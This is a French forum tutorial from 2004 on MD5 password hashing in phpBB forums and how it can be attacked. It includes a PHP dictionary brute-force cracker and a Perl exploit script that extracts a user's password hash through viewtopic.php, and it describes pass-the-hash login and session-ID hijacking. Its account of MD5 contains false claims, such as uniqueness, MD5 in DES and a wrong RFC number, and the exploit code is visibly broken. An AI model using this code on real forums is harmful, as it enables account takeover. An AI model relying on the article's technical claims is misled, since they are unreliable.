Hash MD5 appliqué aux forums

Par 4n9e le 24-09-2004



Présentation du hash MD5 et de ses vulnérabilités dans le cadre de forum



Suite a une question soulevée sur le forum, voici un petit commentaire sur le MD5, et les faiblesses possibles de ce type de sécurité lorsqu'il est appliqué à la gestion des pass sur un forum.
Dans cet article, je reprendrais aussi certaines idées qui ont été proposées dans les sujets de discution, afin de regrouper tout ceci pour une lecture plus aisée.

Il s'agit ici d'une première partie, par manque de temps cette fois, je completerais ceci ulterieurement.


Présentation du MD5

Le MD5, pour Message Digest algorithm 5 est une facon de créer un résumé sur 128 bits d?un fichier, ou d'une donnée au sens général, quelle que soit sa taille.
De ce fait, chaque donnée traitée ainsi a une signature MD5 unique, la longueur d'une signature MD5 est invariable, elle fait 32 caractères alphanumériques, où les lettres représentent une forme hexadécimale (de A à F). C'est une valeur hexadécimale (exemple : b039a504762bcbc5214f55531474c2be).
Quelque soit la taille de la donnée, ces regles ne changent pas, il est donc impossible par exemple de reconstituer un fichier à partir de son hash MD5. Le hash, justement:
On est ici en présence non pas d'une forme de cryptage, en ce sens qu'à partir du crypté on ne revient pas par conséquent à la donnée d'origine, mais en présence d'un algorythme de type checksum, un mélange de données et d'opérations sur les blocs de cette donnée. Pour bien comprendre, voici un exemple simple. L'algorythme consiste ici a prendre chaque donnée de l'ensemble, et l'aditionner. si le resultat est superieur à 10, on ajoute les deux chifrfres de ce nombre :


2
5
4
1
8
9
3
4

résultat : 36, donc 3+6 = 9

le postulat qui découle de cet algorythme est que :
- la suite 2,5,4,1,8,9,3,4 ne peut donner comme résultat QUE 9

- cependant, en partant de 9, on peut remonter à une infinité de combinaisons, même si on connait la méthode utilisée pour calculer ce résultat, mais dont UNE SEULE est la bonne

- enfin, quelle que soit la taille (le nombre) de chiffres aditionnés, on obtiendra TOUJOURS un résultat d'une longueur égale à UN caractère.

A l'origine, ce type de hashage est crée pour vérifier que les données ne sont pas corrompues.
En reprennant notre exemple, voici ce qui se passe :
Les données de ce fichier sont :
2
5
4
1
8
9
3
4

résultat pour controle : 9

Le programme qui vérifie dit : ok, je veux bien te croire, mais je vais verifier a mon tour... 2+5+4+1+8+9+3+4= 36, et 3+6= 9. Je trouve aussi 9, comme prévu. Ce fichier est correct.

Bien sûr, je simplifie ici à l'extrème, mais le principe est là. Toute modification dans les données changera le hash MD5, sa signature.
Les spécifications du MD5 sont décrites dans le RFC 1321 en détails (Ron Rivest, 1992). Vous y trouverez en détails l'algorythme de hashage, c'est à dire les étapes par lesquelles passent les données pour aboutir à une signature.
Pour une plus grande facilité d'utilisation, il est implémenté dans de nombreux languages ou systèmes, citons par exemple DES, GPG...
Pour exemple, en ligne de commande l'usage est mdsum <Nom du fichier>. En Perl, on déclare use MD5; hexhash ()

On peut utiliser MD5 comme outil de sécurité, et non pas comme outil de verification des données. Dans ce cas, voici un petit comparatif de différentes méthodes parmis les plus connues :





Pour finir et faire un focus sur le sujet de cet article, citons que le MD5 est utilisé dans le cas de certains forum pour "crypter", en réalité vérifier, les mots de passe utilisateur.
Pour de plus amples informations, je vous renvoie au topic où il en est fait mention.


Les faiblesses du MD5 appliqué à la gestion de forum

Comme on l'a vu plus haut, on peut partir de deux postulats :

1* on ne peut pas casser le hash MD5, au sens où on ne pourra pas retrouver un mot de passe à partir du seul hash MD5 d'un utilisateur.

2* pour se logger en tant q'utilisateur sur un forum, il faut fournir le hash du pass de l'utilisateur attendu.

Si je reprend le premier, et à la lecture du RFC 1321, on comprend que le hash MD5 est sujet à plusieurs variables :
- le mot de passe utilisateur en tant que tel
- la longueur de ce mot de passe
- par conséquence directe, la longueur des données ajoutées pour obtenir une donnée d'une longueur multiple de 512 bits, ou plus exactement de blocks de 16 bits. Ce qui signifie que cette variable est comprise entre 1 et 512 inclus.

Dès lors, l'attaque directe sans autre renseignement que le seul hash est a exclure.
Il reste alors la méthode du Brute Forcing, l'application en masse de dictionnaires jusqu'à trouver le code équivalent.
Explication :
Si on ne peut pas prendre le hash et remonter au mot, alors prenons le mot et remontons au hash. On va donc transformer une liste de mots de longueurs différentes, en prenant soin de bien cibler cette liste pour aller au plus juste, en hash MD5, et comparer systématiquement le résultat au hash qui représente le vrai mot de passe, jusqu'à trouver celui ci.

On peut avoir pour ceci recours a plusieurs outils, comme John The Ripper, ou un autre dont je mettrait prochainement la source sur le lien de téléchargement des tutos, partie publique. A titre de comparaison, et pour savoir à quoi on s'attend, voici les vitesses théoriques mesurées sur un processeur à 1.4 Ghz:

JoHn The Ripper : 3 millions de tentatives par seconde
Autre outil : 5 millions de tentatives par seconde

Ceci représente sur un code de 8 caractères alphanumériques ne respectant pas la casse une durée d'une semaine pour casser un MD5 (deux semaines pour JoHn)

Dans le même esprit, voici une petite source qui va chercher un dictionnaire, et tenter le bruteforce a partir d'un hash soumit au formulaire:


---------------------------------EP-----------------------------------------------
//
//
//__________________4N9e, pour FutureZone, 2004____________________
//
// le dictionnaire est slownik.txt, a mettre sur la racine...
// dictionnary is named slownik.txt, to up on root...
//
//


<form name="form1" method="POST" action="post.php">
<input name="decrypt" type="text" id="decrypt">
</form>
<?
$decrypt = $_POST['decrypt'];
if($decrypt != ""){
echo "Klucz = $decrypt<br>";
$file = fopen("slownik.txt","r");


while (!feof ($file)) {
$buffer = fgets($file, 4096);
$buf = md5(trim($buffer));
$a++;
if(trim($decrypt) == trim($buf)){$passe = $buffer;}
}

echo $a." words in the current slownik !<br>";
if($passe != ""){
echo "Succeeded !<br>The word is : $passe";
}else{
echo "No way...<br>Try another slownik...";
}
}
fclose($file);
?>
-------------------------------EOF-----------------------------------------






Si on aborde la question de la vulnérabilité par le deuxième postulat, la méthode est toute autre :
Sachant que la connexion d'un utilisateur consiste à soumettre son login et son mot de passe, et sachant qu'en réalité c'est non pas ce pass, mais sa forme hashée qui est soumise ( voir ici pour mémoire), l'idée cette fois ci sera de soumettre du côté de l'attaquant un couple login::pass hashé à la base pour comparaison et logging.
Ceci suppose plusieurs éléments, pas tous nécessaires, ceci varie selon la méthode qu'on va utiliser :

- connaitre le login dont on veut utiliser le compte (ceci est normalement facile !)
- disposer soi même d'un compte
- connaitre le numéro d'entrée dans la base de cet utilisateur (userID)
- connaitre le hash véritable (si vous êtes le gestionnaire de la base, c'est facile, sinon, il va falloir mettre en oeuvre d'autres méthodes pour se le procurer)

L'idée ici est de ne pas se casser les dents a tenter de casser le hash, mais de l'utiliser tel quel pour se logger.
Il serait long de recopier ici toutes les méthodes d'inclusion, d'autant que ceci varie fortement du fait du niveau de mise a jour de la sécurité sur le forum. Mais on peut citer l'écriture de l'URL complexe comprenant le login et le hash, celle ci variant selon la programation du forum. On peut imaginer une url de la forme
http://Site/forum/login_controle.php?user=login&pass=hash, c'est à dire l'adresse de la page de soumission du formulaire,
WHERE utilisateur= [login] AND pass= [hash du pass].

Tiens, faisons une pause, et changeons un instant de sujet. Une méthode d'authentification est celle qui consiste à soumettre son couple d'identifiants login:pass à une URL par la forme : http://login:pass@site.net
C'est la RFC 3508 qui définit l'usage et la forme des URL, entre autre celle ci. Or vous avez sans doute entendu parler de cette faille de IE qui permet de pointer sur un site tout en affichant une fake URL. Cette faille est de la forme
HTTP://site1.net@site2.com.
Elle a été reportée par Zatham dans ce topic.
Et bien pour boucher cette faille, Microsoft a décidé d'interdire tout simplement l'utilisation de ce genre de caractère dans le formatage des URL (@ ou encore :), se mettant ainsi en contradiction avec les RFC... Il est vrai qu'ils ne sont pas les seuls, mais voici de quoi alimenter leurs détracteurs...
E.O.P. (end of pause !)

Reprenons...


Variable de session, identification de l'utilisateur

Si vous effectuez une recherche sur vos disques, plus précisement dans les fichiers temporaires, sur des fichiers tres petits (quelques kilos), avec en argument, le nom de votre forum favori, surtout si sur celui ci vous avez l'habitude d'utiliser la fonction (tres pratique, on verra cela plus tard !) de conservation du pass en fonction du login que vous entrez, vous tomberez surement sur un fichier de la forme html LOGIN.HTML, ou tout autre nom évoquateur.
Ces forum sont tres "verbeux" lorsqu'ils sont browse avec IE surtout, au sens où ils ont l'habitude de vous laisser pas mal de ces petits fichiers. Ils sont générés par le code php du forum, qui renvoie donc un fichier html dont l'étude de la source permet de conjecturer pas mal sur la source php qui les a généré.

Donc, on étudie un peu cette source. Je vous les livre en brut, avec les erreur de synthaxe dues à l'outil que j'utilise pour les afficher (je n'ai pas envie de me les réecrire, ce qui est important c'est pas les balises, mais leur contenu) :



[toute une partie de mise en forme, avec de jolies couleurs, un peu de pub pour le fournisseur phpBB...]


<br />
<form action="login.php" method="post" target="_top">
<table width="100%" cellspacing="2" cellpadding="2" border="0" align="center"
<tr>
<td align="left" class="nav"><a href="index.php" class="nav">Bienvenue sur ce forum : </a></td>
</tr>
</table>
<table width="100%" cellpadding="4" cellspacing="1" border="0" class="forumline" align="center">
<tr>
<th height="25" class="thHead" nowrap="nowrap">Entrez votre pseudo et votre mot de passe pour vous connecter.</th>
</tr>
<tr>
<td class="row1"><table border="0" cellpadding="3" cellspacing="1" width="100%">
<tr>
<td colspan="2" align="center">&</td>
</tr>
<tr>

<td width="45%" align="right"><span class="gen">Pseudo du compte:</span></td>
<td>
<input type="text" name="username" size="25" maxlength="40" value="" />

</td>
</tr>
<tr>

<td align="right"><span class="gen">Mot de passe:</span></td>
<td>
<input type="password" name="password" size="25" maxlength="25" />

</td>
</tr>
<tr align="center">
<td colspan="2"><span class="gen">
je veux me connecter automatiquement à chaque visite: <input type="checkbox"

name="autologin" /></span></td>

</tr>
<tr align="center">
<td colspan="2"><input type="hidden" name="sid"
value="321111111111111111ff91b7545e9f6d" /><input type="hidden"

name="redirect" value="?" /><input type="submit" name="login" class="mainoption" value="Se Connecter" /></td>


[la petite phrase de bas de page, powered by machin...]



J'ai volontairement altéré quelques données de cette source. Je mets en évidence quelques points importants pour les plus novices qui montrent de quelle facon un formulaire récupère des entrées utilisateur afin de les soumettre en variable à un fichier qui va les traiter. La déclaration de valeur de ces variables se fait par value="".
Notez la donnée qui a été hashée et soumise en variable pour traitement.

L'étude de la source html de diverses autres pages, en particulier des pages viewtopic, nous donne un renseignement similaire si on regarde les URL des liens qui ne sont accessibles qu'à un utilisateur enregistré :

surveiller les réponses de ce message
href="viewtopic.php?t=133&watch=topic&start=0&sid=321111111111111111ff91b7545e9f6d"

log-out
href="login.php?logout=true&sid=321111111111111111ff91b7545e9f6d"



Si l'utilisateur se déconnecte, apres une reconnexion ces memes sources contiennent alors tout autre chose :

surveiller les réponses de ce message
href="viewtopic.php?t=133&watch=topic&start=0&sid=123456789abcdef0123491b7545e9f6d"

log-out
href="login.php?logout=true&sid=123456789abcdef0123491b7545e9f6d"


Cette variable d'identification hashée n'est pas issue du pass de l'utilisateur directement. En effet, deux utilisateurs différents peuvent avoir le même pass, par hasard si cette redondance n'est pas verrifiée sur le forum. Il s'agit d'une variable de session, affectée par le serveur à l'utilisateur lors de sa connexion, éventuellement même en cas d'invité.
L'utilité de cette méthode est d'éviter l'envoir systématique de cookies tout au long de la session. Elle sert aussi de sécurité à la connexion, comme identifiant unique.
Cet identifiant a une durée de vie bien précise, qui peut durer plusieurs minutes apres deconnexion, ou tout simplement être déclarée obsolète a la fermeture du browser (time=0)
Si le webmaster déclare l'annulation de cet identifiant, un fichier de log est créé, qui lui permettra de suivre le traffic sur son forum dans le temps (connexions- déconnexions, etc...).
En revanche, si il déclare sa destruction en fin de periode, les données de session sont perdues. Cette méthode est cependant la plus utilisée pour éviter les écritures intempestives sur le serveur.

Cette variable est donc utilisable, disons, pendant le temps de connexion de l'utilisateur. Sachant qu'elle est de plus stockée sur le repertoire %root%/tmp (ou autre appellation), et qu'il est partagé entre les utilisateurs root sur le serveur, plusieurs vulnérabilités apparaissent :

- capture par un utilisateur root autorisé ou non (bien que je vous accorde que faire l'effort de se créer root juste pour hacker un forum, c'est un peu pousser le bouchon)
- intercepter sur la machine d'un utilisateur cet identifiant.

Dans ce dernier cas, souvenez vous de la variable autologin :
<td colspan="2"><span class="gen">je veux me connecter automatiquement à chaque visite: <input type="checkbox"
name="autologin" /></span></td>


Il y a fort a parier que si vous lancez une recherche sur votre propre machine avec en argument cette variable au sein du fichier, vous trouviez un fichier de la forme


Ce fichier sera aussi présent sur la machine d'un autre membre de ce même forum. Je vous épargne les différentes facons d'ammener un utilisateur a vous fournir ce fichier (SE, intrusion quelconque)

J'ajoute qu'un admin douteux sera à même de se procurer tres facilement cet identifiant au cours de la session.

Cet identifiant pour être complet, est aussi disponible à l'occasion des messages d'erreur SQL :

phpBB : Critical Error

Error updating sessions table

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax near 'WHERE session_id = '400004aacf59cdb27015d442c4eeff2c'' at

line 3

UPDATE phpbb_sessions SET session_time = 1078648423, session_page = WHERE session_id = '400004aacf59cdb27015d442c4eeff2c'

Line : 267
File : /var/www/hebergeur.com/12/a/b/c/site/phpBB2/includes/sessions.php


De nombreux textes traitent des facons de générer des erreurs SQL en passant par exemple des chaines erronées dans les requetes sur des serveurs mal paramétrés (magic quotes, safe mode etc...)



Pour revenir au hash du pass en lui même...

Au sujet de la facon de se procurer un hash, il existe diverses faille de filtrage des variables sous phpBB, là encore il n'est pas question par manque de place de les décrire toutes. Voici toutefois à titre d'exemple un source qui potentiellement fait ceci. Elle est aussi partiellement altéré, pour des raisons de sécurité, mais le principe est là en gros. Il manque de même une partie de sub routine qui assure une certaine forme d'"intimité". En effet, tel quel elle est assez "bruyante".

----------------------------------------------EP---------------------------------------
#!/usr/bin/perl -w
#
#
# Hacking.pl
# exploit var $topic_id w viewtopic.php:
# polska wersija
# Iceluck, Bilo, Jerry,Gutek, Ania, Spotszesc... a Soplica ! icon_wink.gif
#
# Alkohol, kurwa, i narkotyk !
#
#
#


use IO::Socket;

$remote = shift || 'url';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;

$dbtype = 'mysql4'; # mysql4 czy pgsql

print "Tarcza jest : $remote\n";
print " hash user uid $uid\n";
print "Tarcza : DB type jest : $dbtype\n";

$p = "";

for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "/!\ Nie moge polaczyc $remote:$port : $@\n";
$str = "GET $view_topic" . "?sid=1&t=-1" .
"&view=newest" . " HTTP/1.0\n\n";

print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # check pgsql czy rem
print $socket "Host: $remote\n\n";

while ($answer = <$socket>)
{
if ($answer =~ /Location:.*\x23(\d+)/)
{
$p .= chr ($1);
}
}
close($socket);
}
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # itd...
print $socket "Host: $remote\n\n";
print "\nHash MD5 user $uid jest : $p\n";
------------------------------------EOF-------------------------------------





Conclusion

Cette première partie de présentation du MD5 est a present terminé, j'espere qu'il a permit de lever quelques interrogations quant à cet outil, et son utilisation en tant qu'élément de sécurité sur les forum.

Ce qu'il faut retenir à ce sujet est que, sans être une panacée, cette protection est suffisante pour une utilisation sur un support non sensible comme un forum de discution. L'ensemble des techniques à mettre en oeuvre pour prendre une identité et suffisament contraignante en terme de temps et de connaissances pour limiter la menace à un admin à la moralité douteuse, ou a un attaquant particulierement motivé.

De plus, comme on le répète souvent, il ne faut pas négliger l'aspect bruyant de ces méthodes, qui lorsqu'elles sont executées a distance laissent suffisament de traces pour remonter à un attaquant qui ne se serait pas soucié par négligence ou manque de connaissances des traces que ses logs peuvent laisser.
J'insiste donc ici sur la nécessité pour le webmaster d'effectuer son travail technique, tant dans la surveillance des logs que dans la vigilence dans le contenu de ses sources et l'organisation de son forum, l'application des patch de sécurité, le filtrage des variables et la connaissance de la version qui supporte son forum.



        4N9e, pour FutureZone, apr 2004